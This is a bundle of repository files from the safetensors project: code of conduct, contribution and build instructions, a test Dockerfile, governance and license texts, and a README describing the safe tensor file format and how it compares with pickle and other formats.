We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the overall
community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or advances of
any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email address,
without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
feedback@huggingface.co.
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series of
actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or permanent
ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within the
community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.1, available at
[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1].
Community Impact Guidelines were inspired by
[Mozilla's code of conduct enforcement ladder][Mozilla CoC].
For answers to common questions about this code of conduct, see the FAQ at
[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at
[https://www.contributor-covenant.org/translations][translations].
[homepage]: https://www.contributor-covenant.org
[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
[Mozilla CoC]: https://github.com/mozilla/diversity
[FAQ]: https://www.contributor-covenant.org/faq
[translations]: https://www.contributor-covenant.org/translations
safetensors-safetensors-a406ca3/CONTRIBUTING.md 0000664 0000000 0000000 00000024101 15211744761 0021242 0 ustar 00root root 0000000 0000000 # How to Contribute to Safetensors
Everyone is welcome to contribute, and we value everybody's contribution. Code contributions are not the only way to help the community: answering questions, helping others, and improving the documentation are also immensely valuable.
However you choose to contribute, please be mindful and respect our [code of conduct](CODE_OF_CONDUCT.md).
## Table of Contents
- [Ways to Contribute](#ways-to-contribute)
- [Fixing Bugs](#fixing-bugs)
- [Submitting a Feature Request](#submitting-a-feature-request)
- [Implementing a Feature](#implementing-a-feature)
- [Asking for Help](#asking-for-help)
- [Setting Up Your Development Environment](#setting-up-your-development-environment)
- [Prerequisites](#prerequisites)
- [Rust Core](#rust-core)
- [Python Bindings](#python-bindings)
- [Running Tests](#running-tests)
- [Style Guide](#style-guide)
- [Rust](#rust)
- [Python](#python)
- [Submitting a Pull Request](#submitting-a-pull-request)
- [Review Process](#review-process)
---
## Ways to Contribute
There are many ways to contribute to Safetensors:
- **Fix outstanding issues** in the [issue tracker](https://github.com/huggingface/safetensors/issues), especially those tagged [`good first issue`](https://github.com/huggingface/safetensors/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) or [`help wanted`](https://github.com/huggingface/safetensors/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).
- **Submit bug reports or feature requests** by [opening a new issue](https://github.com/huggingface/safetensors/issues/new/choose).
- **Improve documentation** — if anything is unclear, incomplete, or missing, a PR is always appreciated.
- **Write tests** — more test coverage means more confidence in correctness.
- **Help others** by answering questions in [issues](https://github.com/huggingface/safetensors/issues).
---
## Fixing Bugs
If you find a bug and want to fix it yourself, please do! Start by opening an issue to describe the bug and let the maintainers know you're working on it — this prevents duplicate effort.
> **Do you have a security concern?** Please do **not** open a public issue. Instead, follow our [security policy](SECURITY.md) to report it responsibly.
When submitting a bug fix:
1. Link the relevant issue in your pull request description.
2. Include a test that would have caught the bug.
3. Keep the fix focused — avoid mixing unrelated changes in the same PR.
---
## Submitting a Feature Request
We love ideas! Before opening a feature request issue, please **search existing issues** to see if it's already been discussed.
A good feature request explains:
- The **problem** you're trying to solve (not just the proposed solution).
- Why you believe this belongs in the core library rather than userspace.
- Whether you're willing to implement it yourself.
Because safetensors deliberately aims to remain a **simple, minimal format**, we are conservative about adding new features. Features that add significant complexity to the spec or break backward compatibility will need a strong justification.
---
## Implementing a Feature
> We strongly recommend opening an issue or discussion before investing significant time implementing a new feature, especially if it touches the binary format specification. The maintainers can give early feedback and confirm the feature is likely to be accepted.
For **small, clearly-scoped improvements** (e.g., an ergonomic API addition in the Python bindings), you're welcome to open a PR directly.
For **spec-level changes** (new dtypes, changes to the header format, etc.), please open an issue first — these changes require careful design review and community input.
---
## Asking for Help
Don't hesitate to ask questions! You can:
- Open a [GitHub Discussion](https://github.com/huggingface/safetensors/discussions)
- Tag your StackOverflow question with `safetensors`
---
## Setting Up Your Development Environment
### Prerequisites
The safetensors repository contains a Rust core library and Python bindings (with optional support for PyTorch, NumPy, TensorFlow, JAX, and PaddlePaddle). You'll need:
- **Rust** (stable toolchain) — [install via rustup](https://rustup.rs/)
- **Python 3.10+**
- `pip` and optionally a virtual environment manager
- [optional] we strongly recommend installing uv for python management, but that's up to you!
```bash
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup update
# Clone the repo
git clone https://github.com/huggingface/safetensors.git
cd safetensors
```
### Rust Core
The core library lives in `safetensors/`. To build and test it:
```bash
cd safetensors
# Build
cargo build
# Run tests
cargo test
# Run tests with all features
cargo test --all-features
# Check formatting and lints
cargo fmt --check
cargo clippy --all-targets --all-features -- -D warnings
```
### Python Bindings
The Python bindings live in `bindings/python/`. They use [PyO3](https://pyo3.rs/) via `maturin`.
```bash
cd bindings/python
# Create and activate a virtual environment (recommended)
python -m venv .venv
source .venv/bin/activate # On Windows: .venv\Scripts\activate
# Install development dependencies
pip install setuptools-rust maturin
pip install -e ".[dev]"
# Build the Rust extension in-place (needed after changing Rust code)
pip install -e .
# or, for faster incremental builds during development:
maturin develop
```
> **Tip:** After every change to the Rust code, re-run `maturin develop` (or `pip install -e .`) before running Python tests — otherwise you'll be testing stale compiled code. You can also add the `--release` flag when building with maturin for a proper "release" build, which will be faster than the dev build.
#### Installing ML Framework Dependencies
Install the frameworks you want to test against:
```bash
# PyTorch
pip install torch --index-url https://download.pytorch.org/whl/cpu
# NumPy
pip install numpy
# TensorFlow
pip install tensorflow-cpu
# JAX
pip install jax
# PaddlePaddle
pip install paddlepaddle
```
### Running Tests
#### Rust Tests
```bash
# From the repo root
cargo test # core library tests
cargo test --manifest-path safetensors/Cargo.toml --all-features
```
#### Python Tests
```bash
cd bindings/python
# Run all Python tests
pytest tests/
# Run a specific test file
pytest tests/test_torch_serialization.py
# Run with verbose output
pytest -v tests/
# Run and stop at first failure
pytest -x tests/
```
#### Testing Across Frameworks
If you've installed multiple frameworks, run the full test suite to make sure your change doesn't break any of them:
```bash
pytest tests/ -v --tb=short
```
---
## Style Guide
Please match the existing code style. We use automated formatters and linters — a PR that fails CI checks will need to be fixed before it can be reviewed.
### Rust
We follow standard Rust conventions as enforced by the Rust toolchain:
```bash
# Format code
cargo fmt
# Lint
cargo clippy --all-targets --all-features -- -D warnings
```
- Use `cargo fmt` before every commit.
- Fix all `clippy` warnings — warnings are treated as errors in CI.
- Write documentation comments (`///`) for all public types and functions.
- Add unit tests inline in the same file (`#[cfg(test)]`).
### Python
We use [`ruff`](https://github.com/astral-sh/ruff) for both linting and formatting:
```bash
pip install ruff
# Check linting
ruff check bindings/python/
# Format code
ruff format bindings/python/
# Check formatting without modifying files
ruff format --check bindings/python/
```
Additional guidelines:
- Public Python APIs should have docstrings in [NumPy docstring style](https://numpydoc.readthedocs.io/en/latest/format.html).
- Type annotations are encouraged for all new code.
- Keep the Python surface area small and consistent — prefer matching the existing API style over introducing new patterns.
---
## Submitting a Pull Request
When you're ready to submit your contribution:
1. **Fork** the repository and create a branch from `main`:
```bash
git checkout -b your-username/fix-brief-description
```
2. **Make your changes**, following the style guide above.
3. **Add or update tests** for any code you change. PRs that reduce test coverage are unlikely to be accepted.
4. **Update documentation** if your change affects user-facing behavior (docstrings, `README.md`, `docs/`).
5. **Run the full test suite** locally and make sure everything passes before pushing.
6. **Open a pull request** against the `main` branch. In the description:
- Summarize **what** you changed and **why**.
- Link any related issues (e.g., `Closes #123` or `Fixes #456`).
- Mention any areas of the code you're uncertain about or that you'd like reviewers to pay special attention to.
- We accept PRs that are made with the help of an AI model, but would appreciate if you
fill out the AI model-related fields in the description.
7. **Sign your commits** if your organization requires it (optional otherwise). All commits merged into `main` should have a clean history.
> **Work in progress?** Open a [Draft PR](https://github.blog/2019-02-14-introducing-draft-pull-requests/) to share early progress and get feedback before the implementation is complete.
---
## Review Process
We aim to review PRs within a few business days. The review process typically works like this:
1. A maintainer will be assigned to review your PR.
2. They may request changes or ask clarifying questions — please respond to comments as promptly as you can.
3. Once all feedback is addressed and CI passes, a maintainer will approve and merge the PR.
**A few things that speed up the review:**
- Keep PRs small and focused on a single concern. Large, sprawling PRs take much longer to review.
- Write a clear, descriptive PR description — it helps reviewers understand intent and context without having to ask.
- Don't resolve review comments yourself (leave that to the reviewer) so the conversation thread stays readable.
- Be patient and respectful. Maintainers are often juggling many things at once.
We appreciate every contribution, big or small. Thank you for taking the time to make Safetensors better! 🤗 safetensors-safetensors-a406ca3/Dockerfile.s390x.test 0000664 0000000 0000000 00000002637 15211744761 0022660 0 ustar 00root root 0000000 0000000 FROM s390x/python
RUN wget https://repo.anaconda.com/miniconda/Miniconda3-py311_23.5.2-0-Linux-s390x.sh \
&& bash Miniconda3-py311_23.5.2-0-Linux-s390x.sh -b \
&& rm -f Miniconda3-py311_23.5.2-0-Linux-s390x.sh
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | bash -s -- -y
RUN /root/miniconda3/bin/conda install pytorch cpuonly -c pytorch -y
WORKDIR /safetensors/
RUN /root/miniconda3/bin/pip install -U pip pytest
# RUN /root/miniconda3/bin/pip install -U huggingface_hub
# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors")'
COPY . .
SHELL ["/bin/bash", "-c"]
WORKDIR /safetensors/bindings/python/
RUN source /root/.cargo/env && /root/miniconda3/bin/pip install -e .
# Work around error probably caused by https://sourceware.org/bugzilla/show_bug.cgi?id=32653
# E ImportError: libopenblas.so.0: cannot enable executable stack as shared object requires: Invalid argument
ENV GLIBC_TUNABLES=glibc.rtld.execstack=2
RUN /root/miniconda3/bin/pytest -sv tests/test_pt_* tests/test_simple.py
# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors"); from safetensors.torch import load_file; weights = load_file(filename); assert weights["roberta.embeddings.position_embeddings.weight"][0][0].abs().item() > 1e-10'
ENTRYPOINT /bin/bash
safetensors-safetensors-a406ca3/GOVERNANCE.md 0000664 0000000 0000000 00000006224 15211744761 0020770 0 ustar 00root root 0000000 0000000 # Governance Policy
This document provides the governance policy for the Project. Maintainers agree to this policy and to abide by all Project polices, including the [code of conduct](./CODE-OF-CONDUCT.md) by adding their name to the [maintainers.md file](./MAINTAINERS.md).
## 1. Roles.
This project may include the following roles. Additional roles may be adopted and documented by the Project.
**1.1. Maintainers**. Maintainers are responsible for organizing activities around developing, maintaining, and updating the Project. Maintainers are also responsible for determining consensus. This Project may add or remove Maintainers with the approval of the current Maintainers.
Maintainer candidates must have a demonstrated history of prior contributions to the Project repository before being considered for nomination."
**1.2. Contributors**. Contributors are those that have made contributions to the Project.
## 2. Decisions.
**2.1. Consensus-Based Decision Making**. Projects make decisions through consensus of the Maintainers. While explicit agreement of all Maintainers is preferred, it is not required for consensus. Rather, the Maintainers will determine consensus based on their good faith consideration of a number of factors, including the dominant view of the Contributors and nature of support and objections. The Maintainers will document evidence of consensus in accordance with these requirements.
**2.2. Appeal Process**. Decisions may be appealed by opening an issue and that appeal will be considered by the Maintainers in good faith, who will respond in writing within a reasonable time. If the Maintainers deny the appeal, the appeal may be brought before the Organization Steering Committee, who will also respond in writing in a reasonable time.
## 3. How We Work.
**3.1. Openness**. Participation is open to anyone who is directly and materially affected by the activity in question. There shall be no undue financial barriers to participation.
**3.2. Balance**. The development process should balance the interests of Contributors and other stakeholders. Contributors from diverse interest categories shall be sought with the objective of achieving balance.
**3.3. Coordination and Harmonization**. Good faith efforts shall be made to resolve potential conflicts or incompatibility between releases in this Project.
**3.4. Consideration of Views and Objections**. Prompt consideration shall be given to the written views and objections of all Contributors.
**3.5. Written procedures**. This governance document and other materials documenting this project's development process shall be available to any interested person.
## 4. No Confidentiality.
Information disclosed in connection with any Project activity, including but not limited to meetings, contributions, and submissions, is not confidential, regardless of any markings or statements to the contrary.
## 5. Amendments.
Amendments to this governance policy may be made by affirmative vote of 2/3 of all Maintainers, with approval by the Organization's Steering Committee.
---
Part of MVG-0.1-beta.
Made with love by GitHub. Licensed under the [CC-BY 4.0 License](https://creativecommons.org/licenses/by/4.0/).
safetensors-safetensors-a406ca3/LICENSE 0000664 0000000 0000000 00000026135 15211744761 0020027 0 ustar 00root root 0000000 0000000 Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
safetensors-safetensors-a406ca3/MAINTAINERS.md 0000664 0000000 0000000 00000001546 15211744761 0021115 0 ustar 00root root 0000000 0000000 # Maintainers
This document lists the Maintainers of the Project. Maintainers may be added once approved by the existing maintainers as described in the [Governance document](./GOVERNANCE.md). By adding your name to this list you are agreeing to abide by the Project governance documents and to abide by all of the Organization's polices, including the [code of conduct](./CODE-OF-CONDUCT.md). If you are participating because of your affiliation with another organization (designated below), you represent that you have the authority to bind that organization to these policies.
| **NAME** | **Organization** |
|---------------|------------------|
| Daniël de Kok | Hugging Face |
| Luc Georges | Hugging Face |
---
Part of MVG-0.1-beta.
Made with love by GitHub. Licensed under the [CC-BY 4.0 License](https://creativecommons.org/licenses/by/4.0/).
safetensors-safetensors-a406ca3/Makefile 0000664 0000000 0000000 00000000131 15211744761 0020446 0 ustar 00root root 0000000 0000000 doc:
cd safetensors && cargo readme > README.md && cargo readme > ../README.md && cd ..
safetensors-safetensors-a406ca3/README.md 0000664 0000000 0000000 00000024606 15211744761 0020302 0 ustar 00root root 0000000 0000000
Python
[](https://pypi.org/pypi/safetensors/)
[](https://huggingface.co/docs/safetensors/index)
[](https://pepy.tech/project/safetensors)
Rust
[](https://crates.io/crates/safetensors)
[](https://docs.rs/safetensors/)
[](https://deps.rs/repo/github/huggingface/safetensors?path=safetensors)
# safetensors
## Safetensors
This repository implements a new simple format for storing tensors
safely (as opposed to pickle) and that is still fast (zero-copy).
### Installation
#### Pip
You can install safetensors via the pip manager:
```bash
pip install safetensors
```
#### From source
For the sources, you need Rust
```bash
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# Make sure it's up to date and using stable channel
rustup update
git clone https://github.com/huggingface/safetensors
cd safetensors/bindings/python
pip install setuptools_rust
pip install -e .
```
### Getting started
```python
import torch
from safetensors import safe_open
from safetensors.torch import save_file
tensors = {
"weight1": torch.zeros((1024, 1024)),
"weight2": torch.zeros((1024, 1024))
}
save_file(tensors, "model.safetensors")
tensors = {}
with safe_open("model.safetensors", framework="pt", device="cpu") as f:
for key in f.keys():
tensors[key] = f.get_tensor(key)
```
[Python documentation](https://huggingface.co/docs/safetensors/index)
### Format
- 8 bytes: `N`, an unsigned little-endian 64-bit integer, containing the size of the header
- N bytes: a JSON UTF-8 string representing the header.
- The header data MUST begin with a `{` character (0x7B).
- The header data MAY be trailing padded with whitespace (0x20).
- The header is a dict like `{"TENSOR_NAME": {"dtype": "F16", "shape": [1, 16, 256], "data_offsets": [BEGIN, END]}, "NEXT_TENSOR_NAME": {...}, ...}`,
- `data_offsets` point to the tensor data relative to the beginning of the byte buffer (i.e. not an absolute position in the file),
with `BEGIN` as the starting offset and `END` as the one-past offset (so total tensor byte size = `END - BEGIN`).
- A special key `__metadata__` is allowed to contain free form string-to-string map. Arbitrary JSON is not allowed, all values must be strings.
- Rest of the file: byte-buffer.
Notes:
- Duplicate keys are disallowed. Not all parsers may respect this.
- In general the subset of JSON is implicitly decided by `serde_json` for
this library. Anything obscure might be modified at a later time, that odd ways
to represent integer, newlines and escapes in utf-8 strings. This would only
be done for safety concerns
- Tensor values are not checked against, in particular NaN and +/-Inf could
be in the file
- Empty tensors (tensors with 1 dimension being 0) are allowed.
They are not storing any data in the databuffer, yet retaining size in the header.
They don't really bring a lot of values but are accepted since they are valid tensors
from traditional tensor libraries perspective (torch, tensorflow, numpy, ..).
- 0-rank Tensors (tensors with shape `[]`) are allowed, they are merely a scalar.
- The byte buffer needs to be entirely indexed, and cannot contain holes. This prevents
the creation of polyglot files.
- Endianness: Little-endian.
moment.
- Order: 'C' or row-major.
- Notes: Some smaller than 1 byte dtypes appeared, which make alignment tricky. Non traditional APIs might be required for those.
### Yet another format ?
The main rationale for this crate is to remove the need to use
`pickle` on `PyTorch` which is used by default.
There are other formats out there used by machine learning and more general
formats.
Let's take a look at alternatives and why this format is deemed interesting.
This is my very personal and probably biased view:
| Format | Safe | Zero-copy | Lazy loading | No file size limit | Layout control | Flexibility | Bfloat16/Fp8
| ----------------------- | --- | --- | --- | --- | --- | --- | --- |
| pickle (PyTorch) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| H5 (Tensorflow) | 🗸 | ✗ | 🗸 | 🗸 | ~ | ~ | ✗ |
| SavedModel (Tensorflow) | 🗸 | ✗ | ✗ | 🗸 | 🗸 | ✗ | 🗸 |
| MsgPack (flax) | 🗸 | 🗸 | ✗ | 🗸 | ✗ | ✗ | 🗸 |
| Protobuf (ONNX) | 🗸 | ✗ | ✗ | ✗ | ✗ | ✗ | 🗸 |
| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
| Arrow | ? | ? | ? | ? | ? | ? | ✗ |
| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
- Zero-copy: Does reading the file require more memory than the original file ?
- Lazy loading: Can I inspect the file without loading everything ? And loading only
some tensors in it without scanning the whole file (distributed setting) ?
- Layout control: Lazy loading, is not necessarily enough since if the information about tensors is spread out in your file, then even if the information is lazily accessible you might have to access most of your file to read the available tensors (incurring many DISK -> RAM copies). Controlling the layout to keep fast access to single tensors is important.
- No file size limit: Is there a limit to the file size ?
- Flexibility: Can I save custom code in the format and be able to use it later with zero extra code ? (~ means we can store more than pure tensors, but no custom code)
- Bfloat16/Fp8: Does the format support native bfloat16/fp8 (meaning no weird workarounds are
necessary)? This is becoming increasingly important in the ML world.
### Main oppositions
- Pickle: Unsafe, runs arbitrary code
- H5: Apparently now discouraged for TF/Keras. Seems like a great fit otherwise actually. Some classic use after free issues: . On a very different level than pickle security-wise. Also 210k lines of code vs ~400 lines for this lib currently.
- SavedModel: Tensorflow specific (it contains TF graph information).
- MsgPack: No layout control to enable lazy loading (important for loading specific parts in distributed setting)
- Protobuf: Hard 2Go max file size limit
- Cap'n'proto: Float16 support is not present [link](https://capnproto.org/language.html#built-in-types) so using a manual wrapper over a byte-buffer would be necessary. Layout control seems possible but not trivial as buffers have limitations [link](https://stackoverflow.com/questions/48458839/capnproto-maximum-filesize).
- Numpy (npz): No `bfloat16` support. Vulnerable to zip bombs (DOS). Not zero-copy.
- Arrow: No `bfloat16` support.
### Notes
- Zero-copy: No format is really zero-copy in ML, it needs to go from disk to RAM/GPU RAM (that takes time). On CPU, if the file is already in cache, then it can
truly be zero-copy, whereas on GPU there is not such disk cache, so a copy is always required
but you can bypass allocating all the tensors on CPU at any given point.
SafeTensors is not zero-copy for the header. The choice of JSON is pretty arbitrary, but since deserialization is <<< of the time required to load the actual tensor data and is readable I went that way, (also space is <<< to the tensor data).
- Endianness: Little-endian. This can be modified later, but it feels really unnecessary at the
moment.
- Order: 'C' or row-major. This seems to have won. We can add that information later if needed.
- Stride: No striding, all tensors need to be packed before being serialized. I have yet to see a case where it seems useful to have a strided tensor stored in serialized format.
- Sub 1 bytes dtypes: Dtypes can now have lower than 1 byte size, this makes alignment&adressing tricky. For now, the library will simply error out whenever an operation triggers an non aligned read. Trickier API may be created later for those non standard ops.
### Benefits
Since we can invent a new format we can propose additional benefits:
- Prevent DOS attacks: We can craft the format in such a way that it's almost
impossible to use malicious files to DOS attack a user. Currently, there's a limit
on the size of the header of 100MB to prevent parsing extremely large JSON.
Also when reading the file, there's a guarantee that addresses in the file
do not overlap in any way, meaning when you're loading a file you should never
exceed the size of the file in memory
- Faster load: PyTorch seems to be the fastest file to load out in the major
ML formats. However, it does seem to have an extra copy on CPU, which we
can bypass in this lib by using `torch.UntypedStorage.from_file`.
Currently, CPU loading times are extremely fast with this lib compared to pickle.
GPU loading times are as fast or faster than PyTorch equivalent.
Loading first on CPU with memmapping with torch, and then moving all tensors to GPU seems
to be faster too somehow (similar behavior in torch pickle)
- Lazy loading: in distributed (multi-node or multi-gpu) settings, it's nice to be able to
load only part of the tensors on the various models. For
[BLOOM](https://huggingface.co/bigscience/bloom) using this format enabled
to load the model on 8 GPUs from 10mn with regular PyTorch weights down to 45s.
This really speeds up feedbacks loops when developing on the model. For instance
you don't have to have separate copies of the weights when changing the distribution
strategy (for instance Pipeline Parallelism vs Tensor Parallelism).
License: Apache-2.0
safetensors-safetensors-a406ca3/RELEASE.md 0000664 0000000 0000000 00000017604 15211744761 0020425 0 ustar 00root root 0000000 0000000 # Releasing safetensors
